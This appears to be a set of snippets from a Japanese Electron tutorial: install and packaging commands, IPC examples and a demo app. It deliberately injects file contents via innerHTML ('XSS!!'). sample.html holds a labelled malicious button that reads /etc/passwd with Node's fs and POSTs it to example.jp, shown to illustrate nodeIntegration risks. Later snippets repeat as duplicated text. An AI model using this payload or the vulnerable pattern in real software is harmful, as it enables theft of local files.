umamichi/file0.txt

## file0.txt
$ npm i electron -g
$ electron

## file11.txt
  mainWindow = new BrowserWindow({width: 800, height: 600,
    webPreferences: { nodeIntegration : false }
  });

## file12.txt
$ npm i hoge --save

## file13.txt
Microsoft Visual Studio Express 2013

## file14.txt
$ brew install Caskroom/cask/xquartz
$ brew install wine

## file3.txt
$ electron main.js

## file4.txt
$ npm i electron-packager -g

## file5.txt
$ electron-packager ｛ソースディレクトリ｝ ｛アプリ名｝ --platform=｛プラットフォーム｝ --arch=｛アーキテクチャ｝ --version （バージョン｝ ［その他のオプション ...］

## file6.txt
$ electron-packager . electron-sample --platform=darwin --arch=x64 --version=1.2.5

## file7.txt
・Flash Playerの同梱
・Chrome PDF Viewerの統合
・Googleの名称とそのブランドロゴ
・自動アップデート機能
・Googleへの利用状況やクラッシュレポート送信機能
・Googleの翻訳機能
・複数メディアファイル対応（H.264、AAC、MP3など）

## file8.txt
// メインプロセス（受信側）
const {ipcMain} = require('electron') // ipc通信を読み込む
ipcMain.on('message', (event, arg) => { // イベントバインディング
  console.log(arg)  // prints "ping"
})

// レンダラプロセス（送信側）
const {ipcRenderer} = require('electron') // ipc通信を読み込む
ipcRenderer.sendSync('message', 'ping'); // 'message'というイベントを実行

## index.html
<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8">
    <title>Hello World!</title>
    <script>
    const fs = require('fs');
    // sample.html をfs（OSが持っているファイル操作機能）で読み込む
    fs.readFile ('sample.html', (err, data) => {
      if (!err) {
        document.getElementById('app').innerHTML = data; // XSS!!
      }
    });
    </script>
  </head>
  <body>
    <div id="app">app div</a>
  </body>
</html>

## main.js
const electron = require('electron');
const app = electron.app;
const BrowserWindow = electron.BrowserWindow;

let mainWindow = null;
app.on('ready', () => {
  // mainWindowを作成（windowの大きさや、Kioskモードにするかどうかなどもここで定義できる）
  mainWindow = new BrowserWindow({width: 400, height: 300});
  // Electronに表示するhtmlを絶対パスで指定（相対パスだと動かない）
  mainWindow.loadURL('file://' + __dirname + '/index.html');

  // ChromiumのDevツールを開く
  mainWindow.webContents.openDevTools();

  mainWindow.on('closed', function() {
    mainWindow = null;
  });
});

## sample.html
hello! This is sample.html<br>
<!-- 悪意あるスクリプト -->
<button onClick="var s = require('fs').readFileSync( '/etc/passwd','utf-8' );
var x = new XMLHttpRequest();console.log(s);
x.open('POST', 'http://example.jp/', true );
x.send( s );">push me</button>
	mainWindow = new BrowserWindow({width: 800, height: 600,
	webPreferences: { nodeIntegration : false }
	});
	・Flash Playerの同梱
	・Chrome PDF Viewerの統合
	・Googleの名称とそのブランドロゴ
	・自動アップデート機能
	・Googleへの利用状況やクラッシュレポート送信機能
	・Googleの翻訳機能
	・複数メディアファイル対応（H.264、AAC、MP3など）
	// メインプロセス（受信側）
	const {ipcMain} = require('electron') // ipc通信を読み込む
	ipcMain.on('message', (event, arg) => { // イベントバインディング
	console.log(arg) // prints "ping"
	})

	// レンダラプロセス（送信側）
	const {ipcRenderer} = require('electron') // ipc通信を読み込む
	ipcRenderer.sendSync('message', 'ping'); // 'message'というイベントを実行
	<!DOCTYPE html>
	<html>
	<head>
	<meta charset="UTF-8">
	<title>Hello World!</title>
	<script>
	const fs = require('fs');
	// sample.html をfs（OSが持っているファイル操作機能）で読み込む
	fs.readFile ('sample.html', (err, data) => {
	if (!err) {
	document.getElementById('app').innerHTML = data; // XSS!!
	}
	});
	</script>
	</head>
	<body>
	<div id="app">app div</a>
	</body>
	</html>
	const electron = require('electron');
	const app = electron.app;
	const BrowserWindow = electron.BrowserWindow;

	let mainWindow = null;
	app.on('ready', () => {
	// mainWindowを作成（windowの大きさや、Kioskモードにするかどうかなどもここで定義できる）
	mainWindow = new BrowserWindow({width: 400, height: 300});
	// Electronに表示するhtmlを絶対パスで指定（相対パスだと動かない）
	mainWindow.loadURL('file://' + __dirname + '/index.html');

	// ChromiumのDevツールを開く
	mainWindow.webContents.openDevTools();

	mainWindow.on('closed', function() {
	mainWindow = null;
	});
	});
	hello! This is sample.html<br>
	<!-- 悪意あるスクリプト -->
	<button onClick="var s = require('fs').readFileSync( '/etc/passwd','utf-8' );
	var x = new XMLHttpRequest();console.log(s);
	x.open('POST', 'http://example.jp/', true );
	x.send( s );">push me</button>